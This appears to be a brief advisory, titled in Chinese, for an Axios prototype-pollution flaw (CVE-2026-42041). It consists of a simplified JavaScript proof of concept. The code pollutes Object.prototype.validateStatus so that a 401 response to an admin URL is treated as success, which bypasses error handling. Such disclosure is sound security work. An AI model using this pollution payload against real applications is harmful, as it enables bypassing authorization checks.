CVE-2026-42041 Axios原型污染致HTTP错误绕过漏洞

// Proof of Concept for CVE-2026-42041 // This demonstrates how polluting the prototype affects Axios behavior // Assume an attacker can inject a payload that merges into Object.prototype // In a real scenario, this might happen via a deep merge of untrusted JSON const maliciousPayload = JSON.parse('{"__proto__": {"validateStatus": "() => true"}}'); // Simulating the pollution (simplified for demonstration) // In the actual vulnerability, this happens during Axios config merge Object.prototype.validateStatus = () => true; const axios = require('axios'); // Vulnerable version < 1.15.1 // Requesting a resource that returns 401 Unauthorized axios.get('http://example.com/admin') .then(response => { // This block is executed because validateStatus returns true console.log('Success! Status:', response.status); console.log('Data:', response.data); // The application logic assumes the user is authenticated }) .catch(error => { // This block is skipped, bypassing error handling console.log('Request failed'); });